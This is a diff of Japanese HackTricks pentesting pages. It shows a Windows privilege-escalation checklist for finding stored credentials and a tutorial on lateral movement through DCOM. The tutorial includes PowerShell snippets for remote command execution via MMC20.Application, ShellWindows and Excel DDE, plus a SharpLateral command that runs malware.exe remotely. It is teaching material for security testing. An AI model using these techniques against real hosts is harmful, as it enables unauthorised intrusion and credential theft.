* [ ] **Putty:** [**資格情報**](windows-local-privilege-escalation/#putty-creds) **および** [**SSHホストキー**](windows-local-privilege-escalation/#putty-ssh-host-keys) * [ ] **Putty:** [**資格情報**](windows-local-privilege-escalation/#putty-creds) **および** [**SSHホストキー**](windows-local-privilege-escalation/#putty-ssh-host-keys)
* [ ] レジストリにある[**SSHキー**](windows-local-privilege-escalation/#ssh-keys-in-registry)はありますか? * [ ] レジストリにある[**SSHキー**](windows-local-privilege-escalation/#ssh-keys-in-registry)はありますか?
* [ ] [**無人ファイル**](windows-local-privilege-escalation/#unattended-files)にパスワードはありますか? * [ ] [**無人ファイル**](windows-local-privilege-escalation/#unattended-files)にパスワードはありますか?
* [ ] [**SAMSYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups)のバックアップはありますか? * [ ] [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups)のバックアップはありますか?
* [ ] [**クラウド資格情報**](windows-local-privilege-escalation/#cloud-credentials)はありますか? * [ ] [**クラウド資格情報**](windows-local-privilege-escalation/#cloud-credentials)はありますか?
* [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml)ファイルはありますか? * [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml)ファイルはありますか?
* [ ] [**キャッシュされたGPPパスワード**](windows-local-privilege-escalation/#cached-gpp-pasword)はありますか? * [ ] [**キャッシュされたGPPパスワード**](windows-local-privilege-escalation/#cached-gpp-pasword)はありますか?
* [ ] [**IIS Web構成ファイル**](windows-local-privilege-escalation/#iis-web-config)にパスワードはありますか? * [ ] [**IIS Web構成ファイル**](windows-local-privilege-escalation/#iis-web-config)にパスワードはありますか?
@ -116,8 +117,8 @@ HackTricksをサポートする他の方法
* [ ] ユーザーに[**資格情報を要求**](windows-local-privilege-escalation/#ask-for-credentials)したいですか? * [ ] ユーザーに[**資格情報を要求**](windows-local-privilege-escalation/#ask-for-credentials)したいですか?
* [ ] リサイクルビン内の[**興味深いファイル**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)はありますか? * [ ] リサイクルビン内の[**興味深いファイル**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)はありますか?
* [ ] 他の[**資格情報を含むレジストリ**](windows-local-privilege-escalation/#inside-the-registry)はありますか? * [ ] 他の[**資格情報を含むレジストリ**](windows-local-privilege-escalation/#inside-the-registry)はありますか?
* [**ブラウザデータ**](windows-local-privilege-escalation/#browsers-history)内(データベース、履歴、ブックマーク、...)には? * [ ] [**ブラウザデータ**](windows-local-privilege-escalation/#browsers-history)内(データベース、履歴、ブックマークなど)には?
* ファイルとレジストリでの[**一般的なパスワード検索**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry)は? * [**ファイルとレジストリ内の一般的なパスワード検索**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry)は?
* パスワードを自動的に検索する[**ツール**](windows-local-privilege-escalation/#tools-that-search-for-passwords)は? * パスワードを自動的に検索する[**ツール**](windows-local-privilege-escalation/#tools-that-search-for-passwords)は?
### [漏洩したハンドラ](windows-local-privilege-escalation/#leaked-handlers) ### [漏洩したハンドラ](windows-local-privilege-escalation/#leaked-handlers)
@ -130,20 +131,20 @@ HackTricksをサポートする他の方法
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksをPDFでダウンロード**したい場合や**HackTricksを広告**してほしい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksをPDFでダウンロード**したい場合や**HackTricksで企業を宣伝**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見 * 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)を収集できる、[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**したりしてください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリに**PRを提出**して、あなたのハッキングトリックを共有してください * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、自分のハッキングトリックを共有してください
</details> </details>

View file

@ -2,19 +2,19 @@
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**** * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングトリックを共有するに、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** * **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。**
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,14 +22,14 @@
## MMC20.Application ## MMC20.Application
**このテクニックについての詳細情報は、[https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)の元の投稿を参照してください** **このテクニックについての詳細情報は、[https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)からオリジナルの投稿をご覧ください**
分散コンポーネントオブジェクトモデルDCOMオブジェクトは、ネットワークベースのオブジェクトとの興味深いやり取りを提供します。Microsoftは、DCOMとComponent Object ModelCOMの包括的なドキュメントを提供しており、[DCOMの場合はこちら](https://msdn.microsoft.com/en-us/library/cc226801.aspx)、[COMの場合はこちら](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx)でアクセスできます。PowerShellコマンドを使用してDCOMアプリケーションのリストを取得できます 分散コンポーネントオブジェクトモデルDCOMオブジェクトは、ネットワークベースのオブジェクトとのやり取りに興味深い機能を提供します。Microsoftは、DCOMとComponent Object ModelCOMの包括的なドキュメントを提供しており、[DCOMの場合はこちら](https://msdn.microsoft.com/en-us/library/cc226801.aspx)、[COMの場合はこちら](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx)でアクセスできます。PowerShellコマンドを使用してDCOMアプリケーションのリストを取得できます
```bash ```bash
Get-CimInstance Win32_DCOMApplication Get-CimInstance Win32_DCOMApplication
``` ```
COMオブジェクト、[MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx)は、MMCスナップイン操作のスクリプト化を可能にします。特に、このオブジェクトには`Document.ActiveView`の下に`ExecuteShellCommand`メソッドが含まれています。このメソッドに関する詳細情報は[こちら](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx)で確認できます。次のように実行して確認します COMオブジェクト、[MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx)は、MMCスナップイン操作のスクリプト化を可能にします。特に、このオブジェクトには`Document.ActiveView`の下に`ExecuteShellCommand`メソッドが含まれています。このメソッドに関する詳細情報は[こちら](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx)で確認できます。次のコマンドを実行して確認してください
この機能は、DCOMアプリケーションを介してネットワーク上でコマンドを実行することを容易にします。管理者としてリモートでDCOMとやり取りするために、PowerShellを以下のように利用できます この機能は、DCOMアプリケーションを介してネットワーク上でコマンドを実行することを容易にします。管理者としてリモートでDCOMとやり取りするために、PowerShellを以下のように利用できます
```powershell ```powershell
@ -42,7 +42,7 @@ COMオブジェクト、[MMC Application Class (MMC20.Application)](https://tech
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10")) $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member $com.Document.ActiveView | Get-Member
``` ```
RCEを取得します RCEを取得します
```powershell ```powershell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10")) $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member $com | Get-Member
@ -55,14 +55,14 @@ ls \\10.10.10.10\c$\Users
**この技術についての詳細は、元の投稿を参照してください [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)** **この技術についての詳細は、元の投稿を参照してください [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
**MMC20.Application** オブジェクトは、明示的な "LaunchPermissions" が不足していることが特定され、管理者がアクセスできる権限を許可するデフォルト権限になっています。詳細については、[こちら](https://twitter.com/tiraniddo/status/817532039771525120)のスレッドを探索し、[@tiraniddo](https://twitter.com/tiraniddo)の OleView .NET を使用して、明示的な Launch Permission がないオブジェクトをフィルタリングすることが推奨されています。 **MMC20.Application** オブジェクトは、明示的な "LaunchPermissions" が不足していることが特定され、管理者がアクセスを許可する権限にデフォルトで設定されています。詳細については、[こちら](https://twitter.com/tiraniddo/status/817532039771525120)のスレッドを参照し、[@tiraniddo](https://twitter.com/tiraniddo) の OleView .NET を使用して、明示的な Launch Permission がないオブジェクトをフィルタリングすることが推奨されています。
`ShellBrowserWindow``ShellWindows` という2つの特定のオブジェクトが、明示的な Launch Permissions がないために強調されました。`HKCR:\AppID\{guid}` の下に `LaunchPermission` レジストリエントリが存在しない場合、明示的な権限がないことを示します。 `ShellBrowserWindow``ShellWindows` という2つの特定のオブジェクトが、明示的な Launch Permissions が不足しているために強調されました。`HKCR:\AppID\{guid}` の下に `LaunchPermission` レジストリエントリが存在しない場合、明示的な権限がないことを示します。
### ShellWindows ### ShellWindows
`ShellWindows` の場合、ProgID がないため、.NET メソッド `Type.GetTypeFromCLSID``Activator.CreateInstance` を使用して、その AppID を使用してオブジェクトのインスタンス化を容易にします。このプロセスでは、OleView .NET を使用して `ShellWindows` の CLSID を取得します。一度インスタンス化されると、`WindowsShell.Item` メソッドを介して相互作用が可能なり、`Document.Application.ShellExecute` のようなメソッドの呼び出しが行われます。 `ShellWindows` の場合、ProgID がないため、.NET メソッド `Type.GetTypeFromCLSID``Activator.CreateInstance` を使用して、その AppID を利用してオブジェクトのインスタンス化が可能です。このプロセスでは、OleView .NET を使用して `ShellWindows` の CLSID を取得します。インスタンス化されると、`WindowsShell.Item` メソッドを介して相互作用が可能なり、`Document.Application.ShellExecute` のようなメソッドの呼び出しが行われます。
オブジェクトをインスタンス化し、リモートでコマンドを実行するための例として、PowerShell コマンドが提供されました: PowerShell の例として、オブジェクトのインスタンス化とリモートでコマンドを実行するためのコマンドが提供されました:
```powershell ```powershell
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>") $com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com) $obj = [System.Activator]::CreateInstance($com)
@ -71,9 +71,9 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy
``` ```
### Excel DCOMオブジェクトを使用した横方向移動 ### Excel DCOMオブジェクトを使用した横方向移動
DCOM Excelオブジェクトを悪用することで、横方向移動を実現することができます。詳細情報については、[Cybereasonのブログ](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)でExcel DDEを介したDCOMを利用した横方向移動に関する議論を読むことをお勧めします。 DCOM Excelオブジェクトを悪用することで、横方向移動が可能です。詳細情報については、[Cybereasonのブログ](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)でDCOMを介したExcel DDEの利用に関する議論を読むことをお勧めします。
Empireプロジェクトは、Excelを使用してDCOMオブジェクトを操作することでリモートコード実行RCEを実証するPowerShellスクリプトを提供しています。以下は、ExcelをRCEに悪用するためのさまざまな方法を示す、[EmpireのGitHubリポジトリ](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1)のスクリプトからのスニペットです。 Empireプロジェクトは、Excelを使用してDCOMオブジェクトを操作することでリモートコード実行RCEを実証するPowerShellスクリプトを提供しています。以下は、[EmpireのGitHubリポジトリ](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1)で利用可能なスクリプトからのスニペットで、ExcelをRCEに悪用するための異なる方法を示しています
```powershell ```powershell
# Detection of Office version # Detection of Office version
elseif ($Method -Match "DetectOffice") { elseif ($Method -Match "DetectOffice") {
@ -102,13 +102,13 @@ $Obj.DDEInitiate("cmd", "/c $Command")
- **Invoke-DCOM.ps1**: Empireプロジェクトによって提供されたPowerShellスクリプトで、リモートマシンでコードを実行するためのさまざまなメソッドの呼び出しを簡素化します。このスクリプトはEmpire GitHubリポジトリでアクセスできます。 - **Invoke-DCOM.ps1**: Empireプロジェクトによって提供されたPowerShellスクリプトで、リモートマシンでコードを実行するためのさまざまなメソッドの呼び出しを簡素化します。このスクリプトはEmpire GitHubリポジトリでアクセスできます。
- **SharpLateral**: リモートでコードを実行するために設計されたツールで、次のコマンドと共に使用できます: - **SharpLateral**: コードをリモートで実行するために設計されたツールで、次のコマンドと共に使用できます:
```bash ```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
``` ```
## 自動ツール ## 自動ツール
* Powershellスクリプト[**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1)は、他のマシンでコードを実行するためのすべてのコメント付き方法を簡単に呼び出すことができます。 * Powershellスクリプト[**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1)は、他のマシンでコードを実行するためのすべてのコメント済み方法を簡単に呼び出すことができます。
* [**SharpLateral**](https://github.com/mertdas/SharpLateral)も使用できます: * [**SharpLateral**](https://github.com/mertdas/SharpLateral)も使用できます:
```bash ```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
@ -120,20 +120,20 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう</summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう</summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。 * **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>